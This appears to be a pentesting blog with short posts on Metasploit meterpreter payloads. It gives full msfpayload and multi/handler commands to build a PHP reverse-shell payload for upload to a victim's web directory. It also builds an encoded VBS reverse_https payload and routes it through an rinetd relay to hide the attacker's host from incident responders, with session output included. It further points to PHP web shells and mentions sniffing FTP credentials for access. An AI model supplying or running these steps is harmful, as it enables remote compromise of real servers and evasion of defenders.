#!/zitstif.no-ip.org/

Today I’ll be showing a new feature that has just been added to the Metasploit framework.

http://blog.metasploit.com/2010/06/meterpreter-for-pwned-home-pages.html

When one can upload files to a www directory and want further leverage on the system, they may want to do this via PHP in some way. PHP shells are a viable solution for this problem, if certain parameters are met.

One parameter that must be met, is that the server must allow system commands through PHP. If the server permits system commands through PHP, then a PHP shell will be a great tool for further assessment and possible privilege escalation.

If you surf around on the internet looking for PHP shells, you’ll find ones such as: c99.php, DXshell.php. Honestly, check out: php-shell.org

Now as part of the Metasploit framework, pentesters can now use meterpreter as a php payload. I will run through a quick example of how to create a meterpreter php payload and how to execute it:

msfpayload php/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 R > mypayload.php

With this file you can use it on the web server to get a reverse connection. Hopefully, you have gained some sort of write access to the www directory on the victim’s website. (For example, if you were to sniff / capture ftp credentials to the victim’s website). Other scenarios for gaining access to the system, may include local or remote file inclusion.

On the attacker’s end all you have to do is setup msfconsole and use the multi/handler. The following commands should be issued:

msf >use multi/handler
msf >set PAYLOAD php/meterpreter/reverse_tcp
msf >set LHOST 127.0.0.1
msf >set LPORT 4444
msf >exploit -z -j

All the attacker needs to do now, is simply visit to page http://victim.com/mypayload.php and ideally the attacker should be able to get a meterpreter session.

More to come as usual…

A pentester might find his/her self in a situation where they might want to obfuscate the out going connection of their payload.

Now, my first idea was to use rinetd, but also a netcat relay came to mind as well. Nevertheless, my netcat relay did not work for this case.

Before I continue on, I should be explicit on what I want to do:

Create a payload that connects reversely to a host that acts a relay to the attackers host.

What are the benefits to this? Obfuscation of course. When the incidence response team takes action and possibly gets a copy of the payload, to reverse engineer it, they will notice that it connects to a host that may seem benign.
Also, the corporate firewall might only allow out going connections on specific ports and the pentester’s server might have to listen on some odd ball port due to ISP restrictions.

For redirecting I’ll be using rinetd. My three hosts are which as follows:

Host A = 192.168.1.2 (Attacker)
Host B = 192.168.1.3 (Relay host)
Host C = 192.168.1.4 (Victim)

For my payload I’ll be using a new method implemented into metasploit, which is located here:
http://blog.metasploit.com/2010/04/persistent-meterpreter-over-reverse.html

First lets create the payload:

msfpayload windows/meterpreter/reverse_https LHOST=192.168.1.3 LPORT=8080 R | msfencode -t loop-vbs -c 10 -o rineme.vbs

Next let’s setup our attacker’s handler on host 192.168.1.2:
msf> use multi/handler
msf exploit(handler) > set LHOST 192.168.1.2
LHOST => 192.168.1.2
msf exploit(handler) > set LPORT 8081
LPORT => 8081
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https
PAYLOAD => windows/meterpreter/reverse_https
msf exploit(handler) > exploit

[*] HTTPS listener started on https://192.168.1.2:8081/
[*] Starting the payload handler..

Next I’ll set up the relay host to relay my connection.

rinetd -c config.conf

Where config.conf is simply:

192.168.1.3 8080 192.168.1.2 8081

This way, when the payload is executed and connects to the relay host (192.168.1.3) on port 8080, the relay host will redirect the connection to the attacker’s host at 192.168.1.2 at port 8081.

Once the payload gets executed on the victim host (192.168.1.4) we should see something like this:

[*] 192.168.1.3:36716 Request received for /A0KET…

[*] 192.168.1.3:36716 Staging connection for target 0KET received…

[*] Patching Target ID 0KET into DLL

[*] 192.168.1.4:49286 Request received for /B0KET…

[*] 192.168.1.4:49286 Stage connection for target 0KET received…

[*] Meterpreter session 1 opened (192.168.1.2:8081 -> 192.168.1.4:49286)

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1..
meterpreter > ipconfig
Software Loopback Interface 1
Hardware MAC: 00:00:00:00:00:00
IP Address  : 127.0.0.1
Netmask    : 255.0.0.0

Intel(R) PRO/1000 MT Desktop Adapter
Hardware MAC: 08:00:27:a1:52:61
IP Address  : 192.168.1.4
Netmask     : 255.255.255.0

More to come…

Persistent SSH Tunneled Meterpreter from PaulDotCom on Vimeo.

http://pauldotcom.com/2010/03/resilient-ssh-tunneled-meterpr.html

Nifty method, however I would argue that storing the password in clear text for your ssh server probably isn’t the best idea, and if you’re forced to do this, then the account that has to have the exposed password, should be severely limited in privileges.

Keep up the good work PaulDotCom.. 🙂

More to come..